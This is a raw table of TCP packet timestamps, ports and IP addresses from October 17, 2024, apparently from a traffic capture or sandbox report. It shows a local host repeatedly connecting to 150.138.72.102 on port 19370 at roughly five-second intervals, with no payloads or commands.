Oct 17, 2024 18:21:29.653629065 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:29.653718948 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:29.654521942 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:29.659420967 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:29.659498930 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:29.664422989 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:29.676666975 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:29.681937933 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:29.692493916 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:29.697401047 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:29.728178024 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:29.733159065 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:29.788804054 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:29.793812037 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:29.817291975 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:29.822258949 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:29.850727081 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:29.855814934 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:29.867357969 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:29.872304916 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:29.900846958 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:29.905833960 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:29.920145988 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:29.925030947 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:29.938087940 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:30.185858965 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:30.186148882 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:30.192964077 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:30.200633049 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:30.205431938 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:30.238745928 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:30.243737936 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:30.251976967 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:30.259064913 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:30.304817915 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:30.312077045 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:30.337930918 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:30.338005066 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:30.338088036 CEST	52335	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:30.343141079 CEST	19370	52335	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:35.374501944 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:35.379461050 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:35.379604101 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:35.380281925 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:35.385656118 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:35.434746981 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:35.439929962 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:35.467542887 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:35.473687887 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:35.486545086 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:35.491487026 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:35.555075884 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:35.560556889 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:35.603837013 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:35.608912945 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:35.647963047 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:35.653223991 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:35.677134037 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:35.683027029 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:35.709116936 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:35.714024067 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:35.736423016 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:35.741276026 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:35.818649054 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:35.823774099 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:35.839581013 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:35.844862938 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:35.883326054 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:35.889408112 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:35.958560944 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:35.963587046 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:35.989752054 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:35.994927883 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:36.014323950 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:36.019145012 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:36.035811901 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:36.040983915 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:36.053524017 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:36.057986021 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:36.058196068 CEST	52336	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:36.059334993 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:36.064682007 CEST	19370	52336	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:41.342453957 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.347440958 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:41.348613024 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.349842072 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.355618000 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:41.395409107 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.402348995 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:41.411832094 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.417668104 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:41.439402103 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.446278095 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:41.457319021 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.463428974 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:41.485147953 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.490358114 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:41.538764954 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.544318914 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:41.600984097 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.606010914 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:41.637734890 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.642692089 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:41.665888071 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.670881033 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:41.705262899 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.710269928 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:41.732729912 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.738205910 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:41.773377895 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.778565884 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:41.829134941 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.834391117 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:41.869302988 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.874366999 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:41.895704985 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.900902987 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:41.922645092 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.928102016 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:41.956289053 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:41.961616039 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:42.003021002 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:42.008131981 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:42.044262886 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:42.044333935 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:42.044393063 CEST	52337	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:42.049504042 CEST	19370	52337	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.133621931 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.138763905 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.138988018 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.139525890 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.144536018 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.149163961 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.154177904 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.180366993 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.185429096 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.226586103 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.231710911 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.291269064 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.296247005 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.318866968 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.324667931 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.340948105 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.345957994 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.357281923 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.362198114 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.385085106 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.390288115 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.407412052 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.412255049 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.430568933 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.435509920 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.464993954 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.470006943 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.485269070 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.490200043 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.537004948 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.541951895 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.551330090 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.556216002 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.597882986 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.603102922 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.664850950 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.669845104 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.687062979 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.692009926 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.720891953 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.726011992 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.749816895 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.754921913 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.783073902 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.788445950 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.817003965 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.823828936 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.828206062 CEST	19370	52338	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:47.828289032 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:47.881351948 CEST	52338	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:52.854480982 CEST	52339	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:52.859424114 CEST	19370	52339	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:52.859532118 CEST	52339	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:52.860307932 CEST	52339	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:52.865124941 CEST	19370	52339	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:52.895344973 CEST	52339	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:52.900801897 CEST	19370	52339	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:52.967649937 CEST	52339	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:52.972765923 CEST	19370	52339	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:53.015851974 CEST	52339	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:53.020875931 CEST	19370	52339	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:53.108583927 CEST	52339	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:53.113518000 CEST	19370	52339	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:53.153332949 CEST	52339	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:53.158950090 CEST	19370	52339	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:53.238157988 CEST	52339	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:53.243185043 CEST	19370	52339	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:53.263979912 CEST	52339	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:53.268923044 CEST	19370	52339	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:53.294018030 CEST	52339	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:53.299057007 CEST	19370	52339	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:53.322454929 CEST	52339	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:53.327744007 CEST	19370	52339	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:53.428211927 CEST	52339	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:53.433409929 CEST	19370	52339	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:53.496105909 CEST	52339	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:53.501072884 CEST	19370	52339	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:53.533648014 CEST	52339	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:53.538553953 CEST	19370	52339	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:53.558490038 CEST	19370	52339	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:53.558554888 CEST	52339	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:53.558716059 CEST	52339	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:53.563972950 CEST	19370	52339	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:58.639069080 CEST	52340	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:58.643933058 CEST	19370	52340	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:58.644011021 CEST	52340	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:58.644699097 CEST	52340	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:58.649589062 CEST	19370	52340	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:58.668090105 CEST	52340	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:58.672967911 CEST	19370	52340	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:58.722204924 CEST	52340	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:58.727093935 CEST	19370	52340	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:58.746592045 CEST	52340	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:58.751461029 CEST	19370	52340	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:58.797873020 CEST	52340	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:58.802890062 CEST	19370	52340	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:58.826673985 CEST	52340	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:58.831775904 CEST	19370	52340	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:58.851900101 CEST	52340	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:58.856988907 CEST	19370	52340	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:58.874449015 CEST	52340	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:58.879426003 CEST	19370	52340	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:58.935594082 CEST	52340	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:58.940527916 CEST	19370	52340	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:59.025034904 CEST	52340	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:59.295702934 CEST	19370	52340	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:59.299340963 CEST	52340	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:59.304296970 CEST	19370	52340	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:59.361608028 CEST	19370	52340	150.138.72.102	192.168.2.6
Oct 17, 2024 18:21:59.363260031 CEST	52340	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:21:59.492655039 CEST	52340	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:04.523436069 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:04.528460026 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:04.528563976 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:04.529834986 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:04.536142111 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:04.577641964 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:04.582822084 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:04.589627028 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:04.594540119 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:04.644263983 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:04.649303913 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:04.684357882 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:04.689332008 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:04.741430998 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:04.746248960 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:04.771312952 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:04.776300907 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:04.796816111 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:04.801799059 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:04.810534000 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:04.815805912 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:04.834554911 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:04.839462042 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:04.877379894 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:04.882230997 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:04.930135012 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:04.935164928 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:04.989701986 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:04.994695902 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:05.035850048 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:05.040740013 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:05.067409992 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:05.072494030 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:05.103662968 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:05.108694077 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:05.123485088 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:05.128366947 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:05.166198015 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:05.171220064 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:05.202254057 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:05.207756996 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:05.234487057 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:05.240155935 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:05.251108885 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:05.251188040 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:05.251399994 CEST	52341	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:05.256303072 CEST	19370	52341	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.274312973 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.279486895 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.279577971 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.280179024 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.284980059 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.300801039 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.305680990 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.344432116 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.349143028 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.358491898 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.363332987 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.375984907 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.381388903 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.423065901 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.428011894 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.444987059 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.449943066 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.470500946 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.475354910 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.509202003 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.514300108 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.546459913 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.551552057 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.567189932 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.572206020 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.605205059 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.610131025 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.638729095 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.643676043 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.661190987 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.666172028 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.705564022 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.710578918 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.757107019 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.762028933 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.797782898 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.802911997 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.839715004 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.844722986 CEST	19370	52342	150.138.72.102	192.168.2.6
Oct 17, 2024 18:22:10.864012003 CEST	52342	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:22:10.868962049 CEST	19370	52342	150.138.72.102	192.168.2.6
